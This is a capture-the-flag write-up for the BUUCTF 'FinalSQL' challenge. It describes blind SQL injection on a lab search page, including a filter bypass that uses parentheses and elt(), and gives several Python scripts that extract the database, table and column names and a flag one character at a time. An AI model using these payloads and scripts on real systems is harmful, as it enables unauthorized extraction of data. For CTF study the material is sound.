(SQL blind note) [geek challenge 2019]FinalSQL

Welcome to my WeChat official account, the soul of the shell.

Environmental Science: BUUCTF online evaluation (buuoj.cn)

Similar to the previous target aircraft, it is also a login box, but there are several more buttons, and the marked bureau also reminds that it is through sql blind injection

Do a simple fuzz y to the login box

You can see that the brackets are filtered, so the error injection is useless

However, there is more than one point that can be injected. Click the button on the home page to find a digital injection. You can try blind injection

Do some fuzz y

Only a few keywords are filtered, far less than the injection point just now, but the if function is filtered and can be replaced by elt

First, judge whether it can be used

/search.php?id=elt(length(database())>1,6)

After determining that the elt function can be used for blind injection, the next step is to enter the blind injection stage

Because this injection point filters out spaces, I use () to bypass the filter. A big problem with using () to bypass the filter is that it will make the statements very messy, so I will test the statements locally and segment them. After confirming that the statements are available, I will run them on the target

Before writing a script, we should first obtain the judgment rules of blind note, and first determine the difference between correct statement and wrong statement

Correct execution

Error execution

syntax error

First, get the length of the database

You can see that the length is 4

Then judge the name of the database and use the python script. Since buuctf's server adds a 200 status code, you can understand everything you know

import requests

q = []
# Add numbers to the list
for x in range(0, 10):
    q.append(x)
# Add lowercase letters and commas to the list
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(1, 5):
  for s in q:
    url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
    url = url + "elt(substr((select(database())),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(url)
        break
        # print(url)

See that the database name is geek

Then judge the table name

import requests


q = []
# Add numbers to the list
for x in range(0, 10):
    q.append(x)
# Add lowercase letters and commas to the list
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(1, 17):
    for s in q:
        url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
        # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
        url = url + "elt(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1)='%s',6)" % (i, s)
        r = requests.get(url)
        if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
            print(url)
            break
        # print(url)

I have encountered a strange problem in exploding the field name. I don't know why. When exploding the table name, it can respond correctly regardless of case, but when exploding the field, it needs to be case sensitive. The field name I entered at the beginning is f1nal1y, but it can't be exploded. It needs to be replaced with F1naI1y

import requests


q = []
# Add numbers to the list
for x in range(0, 10):
    q.append(x)
# Add lowercase letters and commas to the list
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
# print(q)


for i in range(17, 21):
  for s in q:
    url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
    # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
    url = url + "elt(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(url)
        break
    # print(url)

flag is finally hidden in the password field, and this value is still very long, which takes a long time

import requests


q = []
# Add numbers to the list
for x in range(0, 10):
    q.append(x)
# Add lowercase letters, commas, -, {} to the list
for x in range(ord("a"), ord("z")+1):
    q.append(chr(x))
q.append(",")
q.append("_")
q.append("-")
q.append("{")
q.append("}")
# print(q)


for i in range(1, 230):
  for s in q:
    url = "http://cb93c4a8-bc95-43db-be46-28be43869ea1.node4.buuoj.cn:81/search.php?id="
    # elt(substr((select group_concat(table_name) from information_schema.tables where table_schema='geek'),1,1)='e',6)
    url = url + "elt(substr((select(group_concat(password))from(F1naI1y)),%d,1)='%s',6)" % (i, s)
    r = requests.get(url)
    if(("ERROR!!!" not in r.text) and (r.status_code == 200)):
        print(s, end="")
        break
    # print(url)

(as a result, he ran again because of the target mechanism)

Added by jokkis on Fri, 18 Feb 2022 21:26:50 +0200